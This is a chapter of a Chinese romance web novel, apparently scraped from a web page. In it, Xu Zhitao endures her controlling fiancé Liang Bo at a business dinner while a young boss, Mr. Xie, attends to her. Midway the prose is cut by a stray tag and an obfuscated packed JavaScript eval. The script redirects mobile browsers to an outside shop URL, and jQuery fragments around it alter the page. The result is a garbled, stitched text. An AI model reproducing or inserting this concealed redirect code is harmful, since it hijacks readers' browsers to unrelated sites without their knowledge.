“学生重要还是男朋友重要?”
许之桃无法立刻回答上来这个问题。很快,她又因为自己无法立刻回答而感到一阵莫名心虚。
在小星镇,所有认识许之桃的人都知道,许之桃的男朋友是梁泊。
“青梅竹马,两小无猜”已经足够简介一切,一切都如此稀松平常,平常到没有人觉得哪里不合理。
许之桃生来就是要跟梁泊结婚的,这种认知,就像到了六七点天就会亮一样,都是默认,都是常理。
常理到许之桃自己有时都会忘了,她从来没有亲口承认过他们的关系。
“好啦,我把他送回去就来找你,总不能让他一个人孤零零待在画室吧。”
梁泊:“你哥呢?”
许之桃:“我哥和学生出去吃饭了。”
梁泊:“不能让他家长自己来接?”
许之桃:“联系不上……”
梁泊:“我今天跟人谈生意,你不来以后都别来了。”
梁泊冷冰冰地丢下一句。许之桃还想说什么,电话已经被啪地挂断。
梁泊从来不会和许之桃商量,他只会下指令,然后看许之桃忙里忙外地去执行指令。
小电车穿过小星镇的街道,李奕廷坐在许之桃身后。好像是知道自己耽搁了许之桃赴约,李奕廷始终一语不发。等到小电车把李奕廷送到家,他爬下小电车,轻轻扯了扯许之桃的衣角。
许之桃帮他取下头盔,李奕廷往她手里塞了一颗水果糖。
“谢谢老师。”
许之桃摸摸李奕廷的头。
“要老师送你上楼吗?”
“不用了。”
“家里有人在吗?”
“没有。”
许之桃愣了愣,忍不住又问:“那你晚饭吃什么呢?”
李奕廷歪着脑袋想了想,改口:“家里有人。”
“真的?”
“真的。”
许之桃还想说什么,梁泊又打来一个电话,可当许之桃慌忙接通,他又迅速挂断了。
这是梁泊惯用以表达愤怒和不耐烦的方式。许之桃心知自己再拖延只会让梁泊怒气值涨得更快,只好挥手和李奕廷告别。
小电车的电量已经所剩无几。好在许之桃再仔细看梁泊发来的地址,坤源雅居就在李奕廷家隔壁。
这是小星镇上数一数二的高档酒店,许之桃站在门口,侍者上来接引,她才想起来,忘了问梁泊是哪个包间。
她给梁泊发了条信息,但梁泊并没有回复。
与此同时,走廊里一扇门被打开,走出来的正是梁泊。
他却像是根本没看到许之桃一般,兀自拐进了洗手间。
过了两分钟,他从洗手间出来,路过许之桃时才说了句:“怎么没穿裙子。”
许之桃抱歉地回答:“我刚刚下班,来不及回家换了。”
梁泊盛气凌人地瞥了她一眼。
眼前这个姑娘,额头渗着汗,刘海一条条搭在额前,浅蓝色衬衫衣领也已经被汗水浸透。
她今天也没有化妆,眼下还有浅浅的黑眼圈。
梁泊皱眉顿了片刻,才淡淡说了句:“进去以后少说话。”
许之桃乖乖点头:“嗯。”
梁泊推开那扇寓意舞台幕布的门。
在许之桃眼里,梁泊好像时刻都在表演。从小到大,他一直都在致力于扮演一个精英。
当别的小男孩还在玩泥巴时,梁泊已经穿着衬衫西装裤打着领带把头发梳得油光锃亮一丝不苟,站上三好学生的领奖台。
当别的男生还在忙着在篮球场故意耍帅只为暗恋的女生一个眼神,梁泊已经皱着眉教育许之桃太容易的题目别来问自己,耽误他备考。
梁泊从小成绩就好,好到许妈总是絮叨,絮叨许之桃不好好努力将来会给梁泊拖后腿。
“人家回头上名校,认识的都是精英,你呢,考个本地的大专都费劲。”
许之桃成绩并没有那么差,也不是上不起本科,但配梁泊好像就差点。
就是因为差这么点,许之桃好像就欠着梁泊。小时候住一个大院,看门大爷送许之桃的菠萝,得切大半给梁泊。长大了青春期了,梁泊收情书就是有魅力,许之桃收情书就是对不起梁泊。
大学时期梁泊在国外,许之桃在本地,许妈天天盯着,逢人就说许之桃已经许人了,以后要跟梁泊结婚的,少来打主意。
许之桃支着颌坐在梁泊身边,想着些有的没的。
包间里冷气开得很足,许之桃的座位刚好对着出风口,身上的汗水被冷气一浸,冰冰凉凉贴着皮肤。许之桃打了个寒战。
这瞬间,原本正高谈阔论的梁泊就停了一下,不太乐意地扫了许之桃一眼。
许之桃立刻坐直,努力让自己看起来正常且不添乱。
梁泊家是做生意的,早年开厂子,后来跟上互联网的浪潮,开始做电子商务,风口上赚得盆满钵满,在小星镇也算是有头有脸的大富人家。
梁泊时有应酬,偶尔会带上许之桃去露个脸,介绍一嘴“这是我未婚妻”,再让许之桃敬个酒。
许之桃每每听到“未婚妻”三个字心头都会莫名抽动一下,就像播放卡带时总是要在这里顿卡一秒,是磁带里混进了小小的沙粒,不起眼,不影响播放,却总会让人觉得哪里不和谐,不能忽视。
许之桃努力回想,自己好像也没有亲口承认过“未婚妻”的身份,只是在进门被介绍时客气地点点头。
往常,梁泊应酬的大老板们会笑眯眯地夸几句漂亮,说梁经理好福气。他们讨论的重点最终都会拐回到梁家的业务上。
这回进门时,坐在靠窗的年轻人倒是客客气气地对着许之桃点点头,问了句:“怎么称呼?”
“许之桃。”
“桃子的桃还是淘气的淘?”
“桃子的桃。”
许之桃被冷气吹得一激灵,年轻人立刻望过来,随即眼神示意服务员,彬彬有礼:“你好,麻烦把冷气风开小一点。”
梁泊陪着笑,并没有让这个小插曲打断刚才的对话:“谢老板,我刚刚说的这个项目,我们打算之后再扩张到——”
谢老板抬手止住梁泊,关切地问许之桃:“许小姐,用不用换个位置?”
哪怕已经把冷气风力调小了,许之桃还是感觉浑身冷得厉害,一直下意识在用手摩擦自己的手臂。
察觉到谈话声突然停下来,许之桃抬头发现所有人都在看自己。
“啊?哦……”许之桃本想点头,但看座位已经坐得满满当当,身旁的梁泊虽然没说话,眼神却已经浮起不耐烦,只好笑着摇头,“不用,谢谢。”
梁泊和她说过出去吃饭坐座位的学问,她不记得多少了,怕自己真的挪了座,又触犯什么上座主座的禁忌,回头又被梁泊教育丢他脸。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060324|137697||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“真的不用?”
许之桃摇摇头。
谢老板顿了顿,让服务员送来一条薄毯子递给许之桃。
此后许之桃一直低着头,忙着让自己的存在感降到最低。
这里是梁泊的舞台,或者说,只要梁泊在,哪里都是他的舞台。他不遗余力地展现着自己的魅力,谈论着自己的事业,自己的学识,自己的爱好。
而许之桃,只是他舞台上的一个道具,一个配件。
画面中,灯光照下来,梁泊拿起一个茶杯,矜持高傲地对观众说:“这个茶杯,没什么高级的设计,但是我从小用到大,也算用出了感情。”
许之桃,就是那个不起眼的杯子。
这顿饭局没有以前的那么吵闹,许之桃还是能观察得出来,那个谢老板看起来最年轻,也很少说话,生意都是坐在他右手的那位中年人在和梁泊谈,但说到停顿不确定处,中年人总要侧过头去问问他的意见。
这一桌,或许最终拍板做决定的人就是他。
许之桃安安分分地吃她的饭,转到面前的是什么菜,她就吃什么。但很快许之桃又发现,每每她想吃哪道菜,过了几秒,它就慢悠悠地刚好转到自己面前。
一抬眼,年轻的老板正在漫不经心地玩着手机,一只手修长的手指搭在卓沿,根本没注意到许之桃的目光。
“我跟桃子一起敬您一杯吧。”梁泊拿起酒杯。
许之桃本来在努力对付一只虾,听到这话赶紧放下虾,拿纸擦擦手,跟着梁泊一起站起身。
谢老板放下手机,眼底闪过一丝不悦,却很快被笑意替换,快得让许之桃以为自己是看错了。
其余几个大老板开始起哄。
“梁经理,你们什么时候办酒啊?”
梁泊:“快了,快了。”
梁泊敬酒时会微微点头哈腰,这让许之桃看着生出一丝割裂感。毕竟从小到大梁泊在自己面前永远是昂着头的。
那她也要点头哈腰吗?
谢老板已经起身,握着酒杯。
“说过多少次了,碰杯要在低位。”耳边掠过梁泊几不可闻的警告。
许之桃下意识一压手腕,可谢老板的酒杯压得也很低,这一压,酒险些被撞得晃出来。
梁泊脸一沉。
谢老板却突然露出一个灿烂的笑。
……
这一顿饭吃得许之桃兵荒马乱的,脑子里全是谢老板那个灿烂的笑,让她觉得十分眼熟。
谢老板是谢氏的公子,小星镇本地人。谢家在沪城发了财扎稳根基,不忘老家乡亲。这次让谢公子回来就是看看小星镇有没有可以合作的项目。
“你说,谢老板那头金发,是天生的还是染的呀。”
酒足饭饱,趁着服务员出去结账的当儿,许之桃捅捅梁泊,小声问。
她其实觉得谢老板有点像下午在窗外看到的那个重机车男青年,但是当时惊鸿一瞥也没记住长相,而且谢老板那身西装一看就价值不菲,和青年的背心牛仔裤显然不是一个路数。
然而,谢老板带着笑意的声音响起。
“我听得见哦许小姐。是染的。”
许之桃顿感窘迫,在梁泊责备的目光下吐了吐舌头,递过去一个抱歉的笑。
可这谢老板显然没打算放过她,他微醺靠着椅背,头微微一歪,语气也很随意直接。
“你要不要摸摸看。”